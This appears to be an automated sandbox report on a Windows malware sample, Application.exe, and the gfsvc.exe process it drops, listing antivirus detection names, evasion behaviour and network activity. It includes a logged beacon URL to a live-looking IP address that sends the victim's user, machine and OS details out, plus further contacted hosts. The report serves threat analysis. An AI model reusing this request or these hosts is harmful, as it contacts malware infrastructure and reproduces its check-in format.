Application.exe| Category | Machine | Started | Completed |
|---|---|---|---|
| FILE | s1_win7_x6401 | Dec. 11, 2023, 7:18 p.m. | Dec. 11, 2023, 7:22 p.m. |
-
-
gfsvc.exe "C:\ProgramData\32313a32363a3032\gfsvc.exe"
2724
-
Suricata Alerts
No Suricata Alerts
Suricata TLS
No Suricata TLS
| suspicious_features | Connection to IP address | suspicious_request | GET http://91.92.247.96/zhark/api.php?id=f79767bea410708a229488fa01b3db96&us=test22&mn=TEST22-PC&os=Windows%207%20Professional%20N&bld=1.0.3B | ||||||
| request | GET http://91.92.247.96/zhark/api.php?id=f79767bea410708a229488fa01b3db96&us=test22&mn=TEST22-PC&os=Windows%207%20Professional%20N&bld=1.0.3B |
| description | gfsvc.exe tried to sleep 230 seconds, actually delayed analysis time by 230 seconds | |||
| description | Application.exe tried to sleep 660 seconds, actually delayed analysis time by 0 seconds | |||
| wmi | SELECT * FROM Win32_Processor |
| wmi | SELECT * FROM Win32_BaseBoard |
| wmi | SELECT * FROM Win32_DiskDrive |
| wmi | SELECT * FROM Win32_Processor |
| host | 91.92.247.123 | |||
| host | 91.92.247.161 | |||
| host | 91.92.247.96 | |||
| registry | HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\SystemBiosVersion |
| file | C:\Users\admin\Documents\Outlook Files\honey@pot.com.pst |
| Bkav | W32.AIDetectMalware |
| MicroWorld-eScan | Gen:Trojan.Heur.RP.puW@bS@FGQfi |
| Skyhigh | BehavesLike.Win32.AdwareLinkury.dh |
| ALYac | Gen:Trojan.Heur.RP.puW@bS@FGQfi |
| Cylance | unsafe |
| VIPRE | Gen:Trojan.Heur.RP.puW@bS@FGQfi |
| CrowdStrike | win/malicious_confidence_90% (D) |
| Arcabit | Trojan.Heur.RP.EBD67A |
| Symantec | ML.Attribute.HighConfidence |
| Elastic | malicious (high confidence) |
| APEX | Malicious |
| BitDefender | Gen:Trojan.Heur.RP.puW@bS@FGQfi |
| Emsisoft | Gen:Trojan.Heur.RP.puW@bS@FGQfi (B) |
| F-Secure | Heuristic.HEUR/AGEN.1319014 |
| Trapmine | suspicious.low.ml.score |
| FireEye | Generic.mg.dc9d29d62659c29e |
| Sophos | Generic ML PUA (PUA) |
| Avira | HEUR/AGEN.1319014 |
| Kingsoft | malware.kb.a.899 |
| GData | Gen:Trojan.Heur.RP.puW@bS@FGQfi |
| Cynet | Malicious (score: 100) |
| VBA32 | BScope.Trojan.Wacatac |
| MAX | malware (ai score=81) |
| Rising | Trojan.Generic@AI.98 (RDML:KkcdlBva+xskWtDEn+wO/Q) |
| SentinelOne | Static AI - Malicious PE |
| BitDefenderTheta | AI:Packer.B03E043D1F |
| Cybereason | malicious.c11d4e |
| DeepInstinct | MALICIOUS |
| dead_host | 91.92.247.123:80 |
| dead_host | 91.92.247.161:80 |